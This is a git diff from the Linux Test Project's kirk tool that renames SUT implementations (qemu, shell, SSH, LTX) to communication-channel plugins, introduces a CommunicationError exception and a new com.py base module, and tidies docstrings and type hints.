self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("LTX is not running") req = Requests.ping() start_t = time.monotonic() @@ -143,15 +156,15 @@ class LTXSUT(SUT): return (replies[req][0] * 1e-9) - start_t async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: - if await self.is_running: - raise SUTError("SUT is already running") + if await self.active(): + raise CommunicationError("LTX is already running") self._ltx = LTX(self._infile, self._outfile) try: await self._ltx.connect() except LTXError as err: - raise SUTError(err) from err + raise CommunicationError(err) from err await self._send_requests([Requests.version()]) @@ -165,8 +178,8 @@ class LTXSUT(SUT): if not command: raise ValueError("command is empty") - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("LTX is not running") self._logger.info("Running command: %s", repr(command)) @@ -184,7 +197,7 @@ class LTXSUT(SUT): for key, value in env.items(): requests.append(Requests.env(slot_id, key, value)) - async def _stdout_coro(data): + async def _stdout_coro(data: str) -> None: if iobuffer: await iobuffer.write(data) @@ -213,8 +226,8 @@ class LTXSUT(SUT): if not target_path: raise ValueError("target path is empty") - if not await self.is_running: - raise SUTError("SSH connection is not present") + if not await self.active(): + raise CommunicationError("LTX connection is not present") async with self._fetch_lock: req = Requests.get_file(target_path) diff --git a/ltp/tools/kirk/libkirk/qemu.py b/ltp/tools/kirk/kirk-src/libkirk/channels/qemu.py similarity index 83% rename from ltp/tools/kirk/libkirk/qemu.py rename to ltp/tools/kirk/kirk-src/libkirk/channels/qemu.py index d1fd660d..a8cc7dd7 100644 --- a/ltp/tools/kirk/libkirk/qemu.py +++ b/ltp/tools/kirk/kirk-src/libkirk/channels/qemu.py @@ -1,7 +1,7 @@ """ .. module:: qemu :platform: Linux - :synopsis: module containing qemu SUT implementation + :synopsis: module containing qemu channel implementation .. moduleauthor:: Andrea Cervesato """ @@ -16,21 +16,31 @@ import shutil import signal import string import time -from typing import Any, Dict, Optional +from typing import ( + Any, + Dict, + Optional, +) import libkirk.types -from libkirk.errors import KernelPanicError, SUTError +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import ( + CommunicationError, + KernelPanicError, +) from libkirk.io import AsyncFile -from libkirk.sut import SUT, IOBuffer -class QemuSUT(SUT): +class QemuComChannel(ComChannel): """ - Qemu SUT spawn a new VM using qemu and execute commands inside it. - This SUT implementation can be used to run commands inside - a protected, virtualized environment. + Qemu com channel spawn a new VM using qemu and execute commands inside it. """ + _name = "qemu" + def __init__(self) -> None: self._logger = logging.getLogger("kirk.qemu") self._comm_lock = asyncio.Lock() @@ -143,7 +153,7 @@ class QemuSUT(SUT): return cmd def setup(self, **kwargs: Dict[str, Any]) -> None: - self._logger.info("Initialize SUT") + self._logger.info("Initialize Qemu") self._tmpdir = libkirk.types.dict_item(kwargs, "tmpdir", str, None) self._user = libkirk.types.dict_item(kwargs, "user", str, None) @@ -162,28 +172,32 @@ class QemuSUT(SUT): self._qemu_cmd = f"qemu-system-{system}" if not self._tmpdir or not os.path.isdir(self._tmpdir): - raise SUTError(f"Temporary directory doesn't exist: {self._tmpdir}") + raise CommunicationError( + f"Temporary directory doesn't exist: {self._tmpdir}" + ) if self._image and not os.path.isfile(self._image): - raise SUTError(f"Image location doesn't exist: {self._image}") + raise CommunicationError(f"Image location doesn't exist: {self._image}") if self._kernel and not os.path.isfile(self._kernel): - raise SUTError(f"Kernel location doesn't exist: {self._kernel}") + raise CommunicationError(f"Kernel location doesn't exist: {self._kernel}") if self._initrd and not os.path.isfile(self._initrd): - raise SUTError(f"initrd location doesn't exist: {self._initrd}") + raise CommunicationError(f"initrd location doesn't exist: {self._initrd}") if not self._ram: - raise SUTError("RAM is not defined") + raise CommunicationError("RAM is not defined") if not self._smp: - raise SUTError("CPU is not defined") + raise CommunicationError("CPU is not defined") if self._virtfs and not os.path.isdir(self._virtfs): - raise SUTError(f"Virtual FS directory doesn't exist: {self._virtfs}") + raise CommunicationError( + f"Virtual FS directory doesn't exist: {self._virtfs}" + ) if self._serial_type not in ["isa", "virtio"]: - raise SUTError("Serial protocol must be isa or virtio") + raise CommunicationError("Serial protocol must be isa or virtio") @property def config_help(self) -> Dict[str, str]: @@ -202,16 +216,11 @@ class QemuSUT(SUT): "options": "user defined options", } - @property - def name(self) -> str: - return "qemu" - @property def parallel_execution(self) -> bool: return False - @property - async def is_running(self) -> bool: + async def active(self) -> bool: if self._proc is None: return False @@ -221,8 +230,8 @@ class QemuSUT(SUT): return self._proc.returncode is None async def ping(self) -> float: - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("Qemu is not running") _, _, exec_time = await self._exec("test .", None) @@ -246,7 +255,7 @@ class QemuSUT(SUT): """ Write data on stdin. """ - if not await self.is_running: + if not await self.active(): return wdata = data.encode(encoding="utf-8") @@ -255,7 +264,7 @@ class QemuSUT(SUT): self._proc.stdin.write(wdata) except BrokenPipeError as err: if not self._stop: - raise SUTError(err) from err + raise CommunicationError(err) from err async def _wait_for( self, message: str, iobuffer: Optional[IOBuffer] = None @@ -263,7 +272,7 @@ class QemuSUT(SUT): """ Wait a string from stdout. """ - if not await self.is_running: + if not await self.active(): return None self._logger.info("Waiting for message: %s", repr(message)) @@ -275,7 +284,7 @@ class QemuSUT(SUT): if self._stop or self._panic: break - if not await self.is_running: + if not await self.active(): break message_pos = stdout.find(message) @@ -305,7 +314,7 @@ class QemuSUT(SUT): async def _wait_lockers(self) -> None: """ - Wait for SUT lockers to be released. + Wait for Qemu lockers to be released. """ async with self._comm_lock: pass @@ -332,7 +341,7 @@ class QemuSUT(SUT): t_start = time.time() - await self._write_stdin(f"{command}; echo $?-{code}\n") + await self._write_stdin(msg) stdout = await self._wait_for(code, iobuffer) exec_time = time.time() - t_start @@ -343,7 +352,9 @@ class QemuSUT(SUT): if stdout and stdout.rstrip(): match = re.search(f"(?P\\d+)-{code}", stdout) if not match: - raise SUTError(f"Can't read return code from reply {repr(stdout)}") + raise CommunicationError( + f"Can't read return code from reply {repr(stdout)}" + ) # first character is '\n' stdout = stdout[1 : match.start()] @@ -360,7 +371,7 @@ class QemuSUT(SUT): return stdout, retcode, exec_time async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: - if not await self.is_running: + if not await self.active(): return self._logger.info("Shutting down virtual machine") @@ -382,7 +393,7 @@ class QemuSUT(SUT): await self._write_stdin("poweroff; poweroff -f\n") - while await self.is_running: + while await self.active(): await self._read_stdout(1024, iobuffer) # pyrefly: ignore[missing-attribute] @@ -391,7 +402,7 @@ class QemuSUT(SUT): pass finally: # still running -> stop process - if await self.is_running: + if await self.active(): self._logger.info("Killing virtual machine") # pyrefly: ignore[missing-attribute] @@ -407,10 +418,10 @@ class QemuSUT(SUT): async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: if not shutil.which(self._qemu_cmd): - raise SUTError(f"Command not found: {self._qemu_cmd}") + raise CommunicationError(f"Command not found: {self._qemu_cmd}") - if await self.is_running: - raise SUTError("Virtual machine is already running") + if await self.active(): + raise CommunicationError("Virtual machine is already running") error = None @@ -452,19 +463,19 @@ class QemuSUT(SUT): _, retcode, _ = await self._exec("export PS1=''", None) if retcode != 0: - raise SUTError("Can't setup prompt string") + raise CommunicationError("Can't setup prompt string") if self._virtfs: _, retcode, _ = await self._exec( "mount -t 9p -o trans=virtio host0 /mnt", None ) if retcode != 0: - raise SUTError("Failed to mount virtfs") + raise CommunicationError("Failed to mount virtfs") self._logged_in = True self._logger.info("Virtual machine started") - except SUTError as err: + except CommunicationError as err: error = err if not self._stop and error: @@ -472,7 +483,7 @@ class QemuSUT(SUT): # something happened during commands execution await self.stop(iobuffer=iobuffer) - raise SUTError(error) + raise CommunicationError(error) async def run_command( self, @@ -484,8 +495,8 @@ class QemuSUT(SUT): if not command: raise ValueError("command is empty") - if not await self.is_running: - raise SUTError("Virtual machine is not running") + if not await self.active(): + raise CommunicationError("Virtual machine is not running") async with self._cmd_lock: self._logger.info("Running command: %s", command) @@ -493,13 +504,17 @@ class QemuSUT(SUT): if cwd: stdout, retcode, _ = await self._exec(f"cd {cwd}", None) if retcode != 0: - raise SUTError(f"Can't setup current working directory: {stdout}") + raise CommunicationError( + f"Can't setup current working directory: {stdout}" + ) if env: for key, value in env.items(): stdout, retcode, _ = await self._exec(f"export {key}={value}", None) if retcode != 0: - raise SUTError(f"Can't setup env {key}={value}: {stdout}") + raise CommunicationError( + f"Can't setup env {key}={value}: {stdout}" + ) stdout, retcode, exec_time = await self._exec(f"{command}", iobuffer) @@ -518,15 +533,15 @@ class QemuSUT(SUT): if not target_path: raise ValueError("target path is empty") - if not await self.is_running: - raise SUTError("Virtual machine is not running") + if not await self.active(): + raise CommunicationError("Virtual machine is not running") async with self._fetch_lock: self._logger.info("Downloading %s", target_path) _, retcode, _ = await self._exec(f"test -f {target_path}", None) if retcode != 0: - raise SUTError(f"'{target_path}' doesn't exist") + raise CommunicationError(f"'{target_path}' doesn't exist") transport_dev, transport_path = self._get_transport() @@ -538,7 +553,9 @@ class QemuSUT(SUT): return bytes() if retcode not in [0, signal.SIGHUP, signal.SIGKILL]: - raise SUTError(f"Can't send file to {transport_dev}: {stdout}") + raise CommunicationError( + f"Can't send file to {transport_dev}: {stdout}" + ) # read back data and send it to the local file path file_size = os.path.getsize(transport_path) @@ -555,8 +572,8 @@ class QemuSUT(SUT): retdata.extend(data) pos = await transport.tell() - if not pos: - raise SUTError("Can't read file position") + if pos is None: + raise CommunicationError("Can't read file position") self._last_pos = pos diff --git a/ltp/tools/kirk/libkirk/host.py b/ltp/tools/kirk/kirk-src/libkirk/channels/shell.py similarity index 74% rename from ltp/tools/kirk/libkirk/host.py rename to ltp/tools/kirk/kirk-src/libkirk/channels/shell.py index fd06c7f3..f2994a7d 100644 --- a/ltp/tools/kirk/libkirk/host.py +++ b/ltp/tools/kirk/kirk-src/libkirk/channels/shell.py @@ -1,7 +1,7 @@ """ -.. module:: host +.. module:: shell :platform: Linux - :synopsis: module containing host SUT implementation + :synopsis: module containing shell communication channel .. moduleauthor:: Andrea Cervesato """ @@ -13,25 +13,37 @@ import os import signal import time from asyncio.subprocess import Process -from typing import Any, Dict, Optional - -from libkirk.errors import KernelPanicError, SUTError +from typing import ( + Any, + Dict, + Optional, +) + +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import ( + CommunicationError, + KernelPanicError, +) from libkirk.io import AsyncFile -from libkirk.sut import SUT, IOBuffer -class HostSUT(SUT): +class ShellComChannel(ComChannel): """ - SUT implementation using host's shell. + Channel implementing host's shell communication. """ BUFFSIZE = 1024 + _name = "shell" + def __init__(self) -> None: - self._logger = logging.getLogger("kirk.host") + self._logger = logging.getLogger("kirk.shell") self._fetch_lock = asyncio.Lock() self._procs = [] - self._running = False + self._active = False self._stop = False def setup(self, **kwargs: Dict[str, Any]) -> None: @@ -42,17 +54,12 @@ class HostSUT(SUT): # cwd and env are given by default, so no options are needed return {} - @property - def name(self) -> str: - return "host" - @property def parallel_execution(self) -> bool: return True - @property - async def is_running(self) -> bool: - return self._running + async def active(self) -> bool: + return self._active @staticmethod async def _process_alive(proc: Process) -> bool: @@ -79,28 +86,28 @@ class HostSUT(SUT): pass async def ping(self) -> float: - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("Shell is not running") ret = await self.run_command("test .") if not ret: - raise SUTError("Can't ping SUT") + raise CommunicationError("'test' command failed in shell") reply_t = ret["exec_time"] return reply_t async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: - if await self.is_running: - raise SUTError("SUT is running") + if await self.active(): + raise CommunicationError("Shell is running") - self._running = True + self._active = True async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: - if not await self.is_running: + if not await self.active(): return - self._logger.info("Stopping SUT") + self._logger.info("Stopping shell communication") self._stop = True try: @@ -121,8 +128,8 @@ class HostSUT(SUT): pass finally: self._stop = False - self._running = False - self._logger.info("SUT has stopped") + self._active = False + self._logger.info("Shell communication has stopped") async def run_command( self, @@ -134,8 +141,8 @@ class HostSUT(SUT): if not command: raise ValueError("command is empty") - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("Shell is not running") self._logger.info("Executing command: '%s'", command) @@ -159,7 +166,7 @@ class HostSUT(SUT): proc = await asyncio.create_subprocess_shell(command, **kwargs) if not proc or not proc.stdout: - raise SUTError(f"Can't create any subprocess for '{command}'") + raise CommunicationError(f"Can't create any subprocess for '{command}'") self._procs.append(proc) @@ -195,7 +202,9 @@ class HostSUT(SUT): ret = { "command": command, "stdout": stdout, - "returncode": proc.returncode, + "returncode": proc.returncode + if proc.returncode is not None + else -1, "exec_time": t_end, } @@ -205,30 +214,24 @@ class HostSUT(SUT): return ret + # pyrefly: ignore[bad-return] async def fetch_file(self, target_path: str) -> bytes: if not target_path: raise ValueError("target path is empty") if not os.path.isfile(target_path): - raise SUTError(f"'{target_path}' file doesn't exist") + raise CommunicationError(f"'{target_path}' file doesn't exist") - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("Shell is not running") async with self._fetch_lock: self._logger.info("Downloading '%s'", target_path) - retdata = bytes() - try: async with AsyncFile(target_path, "rb") as ftarget: - data = await ftarget.read() - if data: - assert isinstance(data, bytes) - retdata = data + return await ftarget.read() except IOError as err: - raise SUTError(err) from err - - self._logger.info("File copied") - - return retdata + raise CommunicationError(err) from err + finally: + self._logger.info("File copied") diff --git a/ltp/tools/kirk/libkirk/ssh.py b/ltp/tools/kirk/kirk-src/libkirk/channels/ssh.py similarity index 70% rename from ltp/tools/kirk/libkirk/ssh.py rename to ltp/tools/kirk/kirk-src/libkirk/channels/ssh.py index 0de260e1..8fb9247b 100644 --- a/ltp/tools/kirk/libkirk/ssh.py +++ b/ltp/tools/kirk/kirk-src/libkirk/channels/ssh.py @@ -1,7 +1,7 @@ """ .. module:: ssh :platform: Linux - :synopsis: module defining SSH SUT + :synopsis: module containing SSH channel implementation .. moduleauthor:: Andrea Cervesato """ @@ -10,39 +10,56 @@ import asyncio import contextlib import importlib.util import logging +import re import time -from typing import Any, Dict, List, Optional +from typing import ( + Any, + Dict, + List, + Optional, +) import libkirk.types -from libkirk.errors import KernelPanicError, SUTError -from libkirk.sut import SUT, IOBuffer +from libkirk.com import ( + ComChannel, + IOBuffer, +) +from libkirk.errors import ( + CommunicationError, + KernelPanicError, +) try: import asyncssh - import asyncssh.misc class MySSHClientSession(asyncssh.SSHClientSession): """ - Custom SSHClientSession used to store stdout during execution of commands - and to check if Kernel Panic has occured in the system. + Custom SSHClientSession used to store stdout during execution of + commands and to check if Kernel Panic has occured in the system. """ - def __init__(self, iobuffer: Optional[IOBuffer] = None): + def __init__(self, iobuffer: Optional[IOBuffer] = None) -> None: self._output = [] self._iobuffer = iobuffer self._panic = False + self._logger = logging.getLogger("kirk.ssh.session") - # pyrefly: ignore[bad-override] - def data_received(self, data, _) -> None: + def data_received(self, data: str, datatype: asyncssh.DataType) -> None: """ - Override default data_received callback, storing stdout/stderr inside - a buffer and checking for kernel panic. + Override default data_received callback, storing stdout/stderr + inside a buffer and checking for kernel panic. """ self._output.append(data) if self._iobuffer: - # pyrefly: ignore[unused-coroutine] - asyncio.ensure_future(self._iobuffer.write(data)) + task = asyncio.create_task(self._iobuffer.write(data)) + task.add_done_callback( + lambda t: ( + self._logger.error("IOBuffer write failed: %s", t.exception()) + if not t.cancelled() and t.exception() + else None + ) + ) if "Kernel panic" in data: self._panic = True @@ -58,15 +75,19 @@ try: Return the list containing stored stdout/stderr messages. """ return self._output + + except ModuleNotFoundError: pass -class SSHSUT(SUT): +class SSHComChannel(ComChannel): """ - A SUT that is using SSH protocol con communicate and transfer data. + SSH communication channel. """ + _name = "ssh" + def __init__(self) -> None: self._logger = logging.getLogger("kirk.ssh") self._host = "" @@ -82,19 +103,15 @@ class SSHSUT(SUT): self._conn = None self._channels = [] - @property - def name(self) -> str: - return "ssh" - @property def config_help(self) -> Dict[str, str]: return { - "host": "IP address of the SUT (default: localhost)", + "host": "IP address of the host (default: localhost)", "port": "TCP port of the service (default: 22)", "user": "name of the user (default: root)", "password": "root password", "key_file": "private key location", - "reset_cmd": "command to reset the remote SUT", + "reset_cmd": "command to reset the remote target", "sudo": "use sudo to access to root shell (default: 0)", "known_hosts": "path to custom known_hosts file (optional)", } @@ -115,7 +132,7 @@ class SSHSUT(SUT): ) if not proc or not proc.stdout: - raise SUTError("Can't communicate with the host shell") + raise CommunicationError("Can't communicate with the host shell") while True: line = await proc.stdout.read(1024) @@ -157,11 +174,42 @@ class SSHSUT(SUT): return script + async def _read_max_sessions(self) -> int: + """ + Read the SSH MaxSessions value and return it. + """ + max_sessions = 10 + + # pyrefly: ignore[missing-attribute] + ret = await self._conn.run( + "grep -i '^MaxSessions' /etc/ssh/sshd_config", + timeout=5, + ) + if ret.returncode == 0: + match = re.search(r"^MaxSessions (?P\d+)", ret.stdout) + if match: + max_sessions = int(match.group("value")) + return max_sessions + + # pyrefly: ignore[missing-attribute] + ret = await self._conn.run( + "sudo sshd -T | grep maxsessions", + timeout=5, + ) + if ret.returncode == 0: + match = re.search(r"^maxsessions (?P\d+)", ret.stdout) + if match: + max_sessions = int(match.group("value")) + + self._logger.info("Maximum SSH sessions: %d", max_sessions) + + return max_sessions + def setup(self, **kwargs: Dict[str, Any]) -> None: if not importlib.util.find_spec("asyncssh"): - raise SUTError("'asyncssh' library is not available") + raise CommunicationError("'asyncssh' library is not available") - self._logger.info("Initialize SUT") + self._logger.info("Initialize SSH connection") self._host = libkirk.types.dict_item(kwargs, "host", str, default="localhost") self._reset_cmd = libkirk.types.dict_item( @@ -180,29 +228,30 @@ class SSHSUT(SUT): try: self._port = int(libkirk.types.dict_item(kwargs, "port", str, default="22")) - if 1 > self._port > 65535: + if self._port < 1 or self._port > 65535: raise ValueError() except ValueError as err: - raise SUTError("'port' must be an integer between 1-65535") from err + raise CommunicationError( + "'port' must be an integer between 1-65535" + ) from err try: self._sudo = ( int(libkirk.types.dict_item(kwargs, "sudo", str, default="0")) == 1 ) except ValueError as err: - raise SUTError("'sudo' must be 0 or 1") from err + raise CommunicationError("'sudo' must be 0 or 1") from err @property def parallel_execution(self) -> bool: return True - @property - async def is_running(self) -> bool: + async def active(self) -> bool: return self._conn is not None async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: - if await self.is_running: - raise SUTError("SUT is already running") + if await self.active(): + raise CommunicationError("SSH client is already connected") try: if self._key_file: @@ -226,24 +275,15 @@ class SSHSUT(SUT): known_hosts=self._known_hosts, ) - # pyrefly: ignore[missing-attribute] - # read maximum number of sessions and limit `run_command` - # concurrent calls to that by using a semaphore - ret = await self._conn.run( - r'sed -n "s/^MaxSessions\s*\([[:digit:]]*\)/\1/p" ' - "/etc/ssh/sshd_config" - ) - - max_sessions = ret.stdout or 10 + max_sessions = await self._read_max_sessions() - self._logger.info("Maximum SSH sessions: %d", max_sessions) self._session_sem = asyncio.Semaphore(max_sessions) - except asyncssh.misc.Error as err: + except (asyncssh.Error, ConnectionError) as err: if not self._stop: - raise SUTError(err) from err + raise CommunicationError(err) from err async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: - if not await self.is_running: + if not await self.active(): return self._stop = True @@ -270,8 +310,8 @@ class SSHSUT(SUT): self._conn = None async def ping(self) -> float: - if not await self.is_running: - raise SUTError("SUT is not running") + if not await self.active(): + raise CommunicationError("SSH client is not running") start_t = time.time() @@ -281,11 +321,11 @@ class SSHSUT(SUT): # pyrefly: ignore[missing-attribute] await self._conn.run("test .", check=True) except asyncssh.Error as err: - raise SUTError(err) from err + raise CommunicationError(err) from err end_t = time.time() - start_t - self._logger.info("SUT replied after %.3f seconds", end_t) + self._logger.info("Host replied after %.3f seconds", end_t) return end_t @@ -299,8 +339,8 @@ class SSHSUT(SUT): if not command: raise ValueError("command is empty") - if not await self.is_running: - raise SUTError("SSH connection is not present") + if not await self.active(): + raise CommunicationError("SSH connection is not present") async with self._session_sem: cmd = self._create_command(command, cwd, env) @@ -321,7 +361,10 @@ class SSHSUT(SUT): # pyrefly: ignore[missing-attribute] channel, session = await self._conn.create_session( - lambda: MySSHClientSession(iobuffer), cmd + lambda: MySSHClientSession(iobuffer), + cmd, + encoding="utf-8", + errors="ignore", ) self._channels.append(channel) @@ -331,9 +374,9 @@ class SSHSUT(SUT): panic = session.kernel_panic() stdout = session.get_output() - except asyncssh.misc.ChannelOpenError as err: + except asyncssh.Error as err: if not self._stop: - raise SUTError(err) + raise CommunicationError(err) finally: if channel: self._channels.remove(channel) @@ -354,8 +397,8 @@ class SSHSUT(SUT): if not target_path: raise ValueError("target path is empty") - if not await self.is_running: - raise SUTError("SSH connection is not present") + if not await self.active(): + raise CommunicationError("SSH connection is not present") data = bytes() try: @@ -365,6 +408,6 @@ class SSHSUT(SUT): data = bytes(ret.stdout) except asyncssh.Error as err: if not self._stop: - raise SUTError(err) from err + raise CommunicationError(err) from err return data diff --git a/ltp/tools/kirk/kirk-src/libkirk/com.py b/ltp/tools/kirk/kirk-src/libkirk/com.py new file mode 100644 index 00000000..e57bf2af --- /dev/null +++ b/ltp/tools/kirk/kirk-src/libkirk/com.py @@ -0,0 +1,214 @@ +""" +.. module:: com + :platform: Linux + :synopsis: communication class definition + +.. moduleauthor:: Andrea Cervesato +""" + +from typing import ( + Any, + Dict, + List, + Optional, +) + +import libkirk.plugin +from libkirk.errors import ( + KirkException, + PluginError, +) +from libkirk.plugin import Plugin + +# discovered communication channels +_COM = [] + + +class IOBuffer: + """ + IO stdout buffer. The API is similar to IO types. + """ + + async def write(self, data: str) -> None: + """ + Write data inside the buffer. + + :param data: Data to write. + :type data: str + """ + raise NotImplementedError() + + +class ComChannel(Plugin): + """ + Communication channel. The objects implementing this class are usually + using SSH, serial, shell, etc protocols. and they are used by the scheduler + in order to execute commands or turning on/off the communication. + """ + + @property + def parallel_execution(self) -> bool: + """ + :return: If True, communication supports commands parallel execution. + :rtype: bool + """ + raise NotImplementedError() + + async def active(self) -> bool: + """ + :return: Return True if communication is active. False otherwise. + :rtype: bool + """ + raise NotImplementedError() + + async def communicate(self, iobuffer: Optional[IOBuffer] = None) -> None: + """ + Start communication. + + :param iobuffer: Buffer used to write stdout. + :type iobuffer: IOBuffer + """ + raise NotImplementedError() + + async def stop(self, iobuffer: Optional[IOBuffer] = None) -> None: + """ + Stop communication. + + :param iobuffer: Buffer used to write stdout. + :type iobuffer: IOBuffer + """ + raise NotImplementedError() + + async def ping(self) -> float: + """ + Send a ping request and verify how much reply takes in seconds. + + :return: Time between ping and pong. + :rtype: float + """ + raise NotImplementedError() + + async def run_command( + self, + command: str, + cwd: Optional[str] = None, + env: Optional[Dict[str, str]] = None, + iobuffer: Optional[IOBuffer] = None, + ) -> Optional[Dict[str, Any]]: + """ + Run a command. + + :param command: Command to execute. + :type command: str + :param cwd: Current working directory. + :type cwd: str + :param env: Environment variables. + :type env: dict + :param iobuffer: Buffer used to write stdout. + :type iobuffer: IOBuffer + :return: Dictionary containing information about the executed command. + + .. code-block:: python + + { + "command": , + "returncode": , + "stdout": , + "exec_time": , + } + + If None is returned, then callback has failed. + :rtype: dict + """ + raise NotImplementedError() + + async def fetch_file(self, target_path: str) -> bytes: + """ + Fetch file and return its content. + + :param target_path: Path of the file to download from target. + :type target_path: str + :return: Data contained in target_path. + :rtype: bytes + """ + raise NotImplementedError() + + async def ensure_communicate( + self, iobuffer: Optional[IOBuffer] = None, retries: int = 10 + ) -> None: + """ + Ensure that communicate is completed, retrying as many times we + want in case of KirkException error. After each error, the + communication is stopped and a new communication is performed. + + :param iobuffer: Buffer used to write stdout. + :type iobuffer: IOBuffer + :param retries: Number of times we retry to communicate. + :type retries: int + """ + retries = max(retries, 1) + + for retry in range(retries): + try: + await self.communicate(iobuffer=iobuffer) + break + except KirkException as err: + if retry >= retries - 1: + raise err + + await self.stop(iobuffer=iobuffer) + + +def discover(path: str, extend: bool = True) -> None: + """ + Discover all ComChannel implementations inside `path`. + + :param path: Directory where searching for channel implementations. + :type path: str + :param extend: If True, it will add new discovered channels on top of the + ones already found. If False, previous discovered channels will be + cleared. + :rtype: bool + """ + global _COM + + obj = libkirk.plugin.discover(ComChannel, path) + if not extend: + _COM.clear() + + _COM.extend(obj) + + +def get_channels() -> List[ComChannel]: + """ + :return: List of loaded ComChannel implementations. + :rtype: list(ComChannel) + """ + global _COM + # pyrefly: ignore[bad-return] + return _COM + + +def clone_channel(name: str, new_name: str) -> Plugin: + """ + Clone a channel implementation named name and rename it with + new_name. The new plugin will be registered with the other + plugins. + + :param name: Plugin name. + :type name: str + :param new_name: New cloned plugin name. + :type new_name: str + :return: New plugin object. + :rtype: Plugin + """ + global _COM + + plugin = next((c for c in _COM if c.name == name), None) + if not plugin: + raise PluginError(f"Can't find plugin '{name}'") + + channel = plugin.clone(new_name) + _COM.append(channel) + + return channel diff --git a/ltp/tools/kirk/libkirk/data.py b/ltp/tools/kirk/kirk-src/libkirk/data.py similarity index 70% rename from ltp/tools/kirk/libkirk/data.py rename to ltp/tools/kirk/kirk-src/libkirk/data.py index 1434d9e7..54ca8448 100644 --- a/ltp/tools/kirk/libkirk/data.py +++ b/ltp/tools/kirk/kirk-src/libkirk/data.py @@ -6,15 +6,16 @@ .. moduleauthor:: Andrea Cervesato """ -import logging -from typing import Dict, List, Optional - -LOGGER = logging.getLogger("kirk.data") +from typing import ( + Dict, + List, + Optional, +) class Test: """ - Test definition class. + Test definition. """ def __init__( @@ -27,17 +28,17 @@ class Test: parallelizable: bool = False, ) -> None: """ - :param name: name of the test + :param name: Name of the test. :type name: str - :param cmd: command to execute + :param cmd: Command to execute. :type cmd: str - :param cwd: current working directory of the command + :param cwd: Current working directory of the command. :type cwd: str - :param env: environment variables used to run the command + :param env: Environment variables used to run the command. :type env: dict - :param args: list of arguments + :param args: List of arguments. :type args: list(str) - :param parallelizable: if True, test can be run in parallel + :param parallelizable: If True, test can be run in parallel. :type parallelizable: bool """ if not name: @@ -66,51 +67,58 @@ class Test: @property def name(self) -> str: """ - Name of the test. + :return: Name of the test. + :rtype: str """ return self._name @property def command(self) -> str: """ - Command to execute test. + :return: Command to execute test. + :rtype: str """ return self._cmd @property def arguments(self) -> List[str]: """ - Arguments of the command. + :return: Arguments of the command. + :rtype: list(str) """ return self._args @property def parallelizable(self) -> bool: """ - If True, test can be run in parallel. + :return: If True, test can be run in parallel. + :rtype: bool """ return self._parallelizable @property def cwd(self) -> Optional[str]: """ - Current working directory. + :return: Current working directory. + :rtype: str | None """ return self._cwd @property def env(self) -> Dict[str, str]: """ - Environment variables + :return: Environment variables + :rtype: dict """ return self._env @property def full_command(self) -> str: """ - Return the full command, with arguments as well. - For example, if `command="ls"` and `arguments="-l -a"`, - `full_command="ls -l -a"`. + :return: Return the full command, with arguments as well. + For example, if `command="ls"` and `arguments="-l -a"`, + `full_command="ls -l -a"`. + :rtype: str """ cmd = self.command if self.command else "" if len(self.arguments) > 0: @@ -121,7 +129,7 @@ class Test: def force_parallel(self) -> None: """ - Force test to be parallelizable. + :return: Force test to be parallelizable. """ self._parallelizable = True @@ -133,9 +141,9 @@ class Suite: def __init__(self, name: str, tests: List[Test]) -> None: """ - :param name: name of the testing suite + :param name: Name of the testing suite. :type name: str - :param tests: tests of the suite + :param tests: Tests of the suite. :type tests: list """ self._name = name @@ -147,7 +155,8 @@ class Suite: @property def name(self) -> str: """ - Name of the testing suite. + :return: Name of the testing suite. + :rtype: str """ return self._name @@ -164,6 +173,7 @@ class Suite: @property def tests(self) -> List[Test]: """ - Tests definitions. + :return: Tests definitions. + :rtype: list(Test) """ return self._tests diff --git a/ltp/tools/kirk/libkirk/errors.py b/ltp/tools/kirk/kirk-src/libkirk/errors.py similarity index 60% rename from ltp/tools/kirk/libkirk/errors.py rename to ltp/tools/kirk/kirk-src/libkirk/errors.py index d283c56a..cdeefba2 100644 --- a/ltp/tools/kirk/libkirk/errors.py +++ b/ltp/tools/kirk/kirk-src/libkirk/errors.py @@ -9,14 +9,26 @@ class KirkException(Exception): """ - The most generic exception that is raised by any module when - something bad happens. + The most generic exception that is raised by any module. All kirk errors + derives from this class. + """ + + +class PluginError(KirkException): + """ + Raised when plugins operations have failed. + """ + + +class CommunicationError(KirkException): + """ + Raised when error occurs during channels communication. """ class SUTError(KirkException): """ - Raised when an error occurs in SUT. + Raised when error occurs in SUT. """ @@ -34,13 +46,13 @@ class KernelTaintedError(KirkException): class KernelTimeoutError(KirkException): """ - Raised when kernel is not replying anymore. + Raised when kernel is not responding anymore. """ class FrameworkError(KirkException): """ - A generic framework exception. + Raised when an error occurs inside a framework. """ @@ -60,3 +72,9 @@ class SchedulerError(KirkException): """ Raised when an error occurs during Scheduler operations. """ + + +class SessionError(KirkException): + """ + Raised when an error occurs during Session operations. + """ diff --git a/ltp/tools/kirk/libkirk/evt.py b/ltp/tools/kirk/kirk-src/libkirk/evt.py similarity index 80% rename from ltp/tools/kirk/libkirk/evt.py rename to ltp/tools/kirk/kirk-src/libkirk/evt.py index 7fcee13d..0f63c45f 100644 --- a/ltp/tools/kirk/libkirk/evt.py +++ b/ltp/tools/kirk/kirk-src/libkirk/evt.py @@ -8,7 +8,13 @@ import asyncio import logging -from typing import Any, Callable, Dict, List, Optional +from typing import ( + Any, + Callable, + Dict, + List, + Optional, +) class Event: @@ -18,7 +24,7 @@ class Event: def __init__(self, ordered: bool = False) -> None: """ - :param ordered: True if coroutines must be processed in order + :param ordered: True if coroutines must be processed in order. :type ordered: bool """ self._coros = [] @@ -27,40 +33,49 @@ class Event: def remove(self, coro: Callable) -> None: """ Remove a specific Callable associated to the event. - :param coro: Callable to remove + + :param coro: Callable to remove. :type coro: Callable 